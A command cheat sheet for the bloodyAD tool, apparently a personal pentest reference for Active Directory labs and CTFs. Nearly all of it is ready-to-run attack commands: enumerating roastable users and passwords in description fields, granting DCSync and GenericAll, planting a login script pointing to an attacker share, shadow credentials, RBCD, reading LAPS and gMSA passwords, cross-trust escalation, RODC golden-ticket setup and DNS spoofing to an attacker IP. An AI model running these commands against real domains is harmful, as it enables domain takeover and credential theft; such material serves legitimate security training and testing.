Cheat sheet / Active Directory
bloodyAD
Commandes utiles pour l'enumeration et les attaques d'ACL dans un lab AD.
Utilisation
Ces notes reprennent mes commandes de reference pour les labs Active Directory et CTF. Les variables $IP, lab.local, user et password sont a adapter a chaque environnement.
This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy.
Installation
Windows
Download from https://github.com/CravateRouge/bloodyAD/releases
Linux
pipx install git+https://github.com/CravateRouge/bloodyADAuthentication
User/Password
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' ...<SNIP>...Pass-the-Hash (PtH)
bloodyAD --host $IP -d lab.local -u 'user' -p ':e656e07c56d831611b577b160b259ad2' ...<SNIP>...Kerberos (FQDN required)
bloodyAD --host $FQDN -d lab.local -k ...<SNIP>...Enumeration
ACLs/DACL Enum
Enumerate object attributes where we have WRITABLE access (useful for checking permissions that don't appear in BloodHound)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get writable --detailGet all securityDescriptors of an object (useful to manually enumerate the entire DACL list of an object searching for permissions that don't appear in BloodHound)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr ntsecuritydescriptor --resolve-sdImportant:
get writableonly covers WRITE and CREATE_CHILD rights. It does NOT show extended rights like ForceChangePassword. Useget object TARGET --attr ntsecuritydescriptor --resolve-sdfor a complete DACL view, or use PowerView.py'sGet-DomainObjectAcl -SecurityIdentifier $SID -ResolveGUIDsfor outbound rights enumeration.
Domain Enumeration
Get all available information for a user
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER'Get critical information for a user
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER' --attr name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCountGet group membership for a user/group/computer
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr memberOfGet a list of all members of a group
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get membership 'TARGET_GROUP'Get a list of all users (distinguishedName only)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype useronlyGet a list of all groups
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype groupGet a list of all computers
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype computerGet a list of all Organizational Units (OUs)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype containerGet a list of all Trusts
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype trustedDomainGet a list of all Kerberoastable users (SPN assigned)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountNameGet a list of all AS-REP Roastable users
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountNameGet the total available Machine Account Quota
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuotaGet the AD Forest level
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr msDS-Behavior-VersionGet the domain minimum password length
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr minPwdLengthGet domain password history length
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr pwdHistoryLengthGet users that require Smart Card (SMARTCARD_REQUIRED)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=262144)' --attr samAccountNameEnumerate users inside a specific OU
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --base 'OU=TARGET_OU,DC=LAB,DC=LOCAL' --filter '(objectClass=user)' --attr dn,sAMAccountNameSearch for passwords in description fields
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(objectCategory=person)(objectClass=user)(description=*))' --attr sAMAccountName,descriptionSearch for passwords in info fields
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(objectCategory=person)(objectClass=user)(info=*))' --attr sAMAccountName,infoGet BloodHound collector with transitive trusts
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get bloodhound --transitiveGet DNS records
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDumpGet domain trusts
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get trusts --transitiveACL & Object Attacks
Add a user to a group
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add groupMember 'GROUP_NAME' 'MEMBER_TO_ADD'Remove a user from a group
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove groupMember 'GROUP_NAME' 'MEMBER_TO_REMOVE'Make a user the owner of an object (WriteOwner abuse)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set owner 'TARGET_OBJECT' 'TARGET_USER'Add GenericAll (Full Control) permissions to an object
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add genericAll 'TARGET' 'TRUSTEE'Remove GenericAll permissions
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove genericAll 'TARGET' 'TRUSTEE'Enable a disabled account
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove uac 'TARGET_USER' -f ACCOUNTDISABLEAdd DCSync permissions to an object
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'Remove DCSync permissions
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'Add a malicious script to a user that executes upon login (scriptPath)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'Modify the UPN (userPrincipalName) for AD CS/UPN Spoofing attacks
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' userPrincipalName -v 'impersonateUser@lab.local'Assign a value to the altSecurityIdentities attribute for X.509/ESC14b attacks
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' altSecurityIdentities -v 'X509:<I><....SNIP.....>'Create a new computer account
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD'Create a new user in a specific OU
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add user 'NEW_USER' 'NEW_PASSWORD' --ou 'OU=TARGET_OU,DC=LAB,DC=LOCAL'Remove an object
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove object 'TARGET'Assign an SPN to a user to make them Kerberoastable
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' servicePrincipalName -v 'cifs/target'Remove the SPN
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' servicePrincipalNameDowngrade Kerberos encryption types to RC4 (eType 23)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' msDS-SupportedEncryptionTypes -v 4Domain Trusts / Cross-Domain Attacks
Key concept: bloodyAD handles cross-domain queries naturally. Point
--hostto the target domain's DC while keeping-das your authenticated domain. The trust handles authentication — no credential rewriting, unlike PowerView.py'sGet-DomainForeignUserwhich has a known bug (issue #234) that rewrites the domain prefix and fails withinvalidCredentials.
Enumeration
Enumerate all domain trusts (with transitive trust resolution)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get trusts --transitiveEnumerate trusted domain objects
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype trustedDomainQuery the parent domain's users using child domain credentials (trust handles auth)
bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' get search --filter '(&(objectCategory=person)(objectClass=user))' --attr sAMAccountName,memberOfQuery the parent domain's groups searching for cross-domain members
bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' get search --filter '(&(objectClass=group)(member=*))' --attr cn,memberGet object information in a foreign domain
bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' get object 'TARGET_USER'Resolve security descriptors across trusts (resolve foreign SIDs)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET' --attr ntsecuritydescriptor --resolve-sd --transitiveBloodHound collection across transitive trusts
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get bloodhound --transitiveDNS records across trusts
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDump --transitiveCross-Domain Attacks
Add a cross-domain user/group to a group in the target domain (Bidirectional Trust)
Note: Since objects from the source domain don't natively exist in the target domain's LDAP directory, you must use their SID from the source domain. Point
--hostto the target DC but authenticate with-dfrom the source domain.
bloodyAD --host $TARGET_DC_IP -d source.local -u 'user' -p 'password' add groupMember 'CN=TARGET GROUP,CN=USERS,DC=TARGET,DC=LOCAL' 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'Change a user's password in the parent domain from the child domain
bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' set password 'TARGET_USER' 'NEW_PASSWORD'Add DCSync rights on the parent domain from the child domain
bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' add dcsync 'TRUSTEE'Add GenericAll on an object in the parent domain
bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' add genericAll 'TARGET' 'TRUSTEE'Shadow Credentials attack across trust
bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' add shadowCredentials 'TARGET'RODC Attacks (RODC Golden Ticket)
Get original msDS-RevealOnDemandGroup values of the RODC object
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'RODC01$' --attr msDS-RevealOnDemandGroupAdd the target high-privileged user to the allowed replication group
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=lab,DC=local' -v 'CN=Administrator,CN=Users,DC=lab,DC=local'Clear the msDS-NeverRevealGroup attribute
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-NeverRevealGroupPassword Attacks
Modify a user's password
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set password 'TARGET_USER' 'NEW_PASSWORD'Read a computer's gMSA password
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_gMSA' --attr msDS-ManagedPasswordRead LAPS passwords
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtimeKerberos Attacks
Enable DONT_REQ_PREAUTH to make a user AS-REP Roastable
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET_USER' -f DONT_REQ_PREAUTHShadow Credentials Attack (requires PKINIT afterwards)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add shadowCredentials 'TARGET'Remove Shadow Credentials
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove shadowCredentials 'TARGET'Add the TRUSTED_TO_AUTH_FOR_DELEGATION flag — Unconstrained Delegation
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATIONAdd Resource-based Constrained Delegation (RBCD)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add rbcd 'DELEGATE_TO' 'DELEGATE_FROM'Remove RBCD
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove rbcd 'DELEGATE_TO' 'DELEGATE_FROM'dMSA Attacks (BadSuccessor — Windows Server 2025)
Abuse CREATE_CHILD on an OU
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add badSuccessor 'ATTACKER_DMSA'DNS Attacks
Query DNS records
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDumpCreate a new DNS record for DNS Spoofing attacks
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'Remove a DNS record
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'Restore AD Objects
Check if we have permissions to restore deleted objects
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones'Check for deleted users in AD
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid,descriptionRestore a deleted user in AD (you can use GUID, SID, DN or sAMAccountName)
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set restore 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'